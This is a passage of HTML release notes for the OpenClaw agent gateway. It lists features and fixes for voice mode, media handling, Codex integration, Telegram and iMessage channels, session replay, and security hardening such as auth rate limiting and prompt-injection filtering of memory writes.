<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
<li>Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Memory/security: reject prompt-like text submitted through the explicit <code>memory_store</code> tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529278840" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87142/hovercard" href="https://github.com/openclaw/openclaw/pull/87142">#87142</a>)</p>
</li>
<li>
<p>Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when <code>gateway.auth.rateLimit</code> is unset, while preserving the loopback exemption. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529328719" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87148" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87148/hovercard" href="https://github.com/openclaw/openclaw/pull/87148">#87148</a>)</p>
</li>
<li>
<p>Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack <code>allowFrom</code> sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392560789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78526/hovercard" href="https://github.com/openclaw/openclaw/pull/78526">#78526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528542196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87094/hovercard" href="https://github.com/openclaw/openclaw/pull/87094">#87094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528022916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87062" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87062/hovercard" href="https://github.com/openclaw/openclaw/pull/87062">#87062</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472152384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83741/hovercard" href="https://github.com/openclaw/openclaw/pull/83741">#83741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317741554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70707/hovercard" href="https://github.com/openclaw/openclaw/pull/70707">#70707</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524708660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86924/hovercard" href="https://github.com/openclaw/openclaw/pull/86924">#86924</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zsxsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zsxsoft">@zsxsoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttzero25/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttzero25">@ttzero25</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.</p>
</li>
<li>
<p>TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526651884" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87000" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87000/hovercard" href="https://github.com/openclaw/openclaw/pull/87000">#87000</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508988920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85786/hovercard" href="https://github.com/openclaw/openclaw/pull/85786">#85786</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528777005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87108" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87108/hovercard" href="https://github.com/openclaw/openclaw/pull/87108">#87108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526678539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87001" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87001/hovercard" href="https://github.com/openclaw/openclaw/pull/87001">#87001</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519059143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86614/hovercard" href="https://github.com/openclaw/openclaw/pull/86614">#86614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</p>
</li>
<li>
<p>Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep <code>onDiagnosticEvent</code> exports discoverable through <code>Function.name</code>, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510573276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85936/hovercard" href="https://github.com/openclaw/openclaw/pull/85936">#85936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526051671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86977/hovercard" href="https://github.com/openclaw/openclaw/pull/86977">#86977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528108015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87069/hovercard" href="https://github.com/openclaw/openclaw/pull/87069">#87069</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521793733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86771" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86771/hovercard" href="https://github.com/openclaw/openclaw/pull/86771">#86771</a>)</p>
</li>
<li>
<p>Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama <code>top_p</code>, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528562037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87096/hovercard" href="https://github.com/openclaw/openclaw/pull/87096">#87096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347364384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73950/hovercard" href="https://github.com/openclaw/openclaw/pull/73950">#73950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527698191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87049/hovercard" href="https://github.com/openclaw/openclaw/pull/87049">#87049</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520410864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86689/hovercard" href="https://github.com/openclaw/openclaw/pull/86689">#86689</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</p>
</li>
<li>
<p>Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest <code>PATH</code>, and bootstrap raw AWS macOS Node/pnpm commands through <code>/usr/bin/env</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526462111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86997" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86997/hovercard" href="https://github.com/openclaw/openclaw/pull/86997">#86997</a>)</p>
</li>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Agents/sessions: handle active-fallback failures in <code>sessions_send</code> so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519588215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86638/hovercard" href="https://github.com/openclaw/openclaw/pull/86638">#86638</a>)</p>
</li>
<li>
<p>Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512136564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86101" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86101/hovercard" href="https://github.com/openclaw/openclaw/pull/86101">#86101</a>)</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
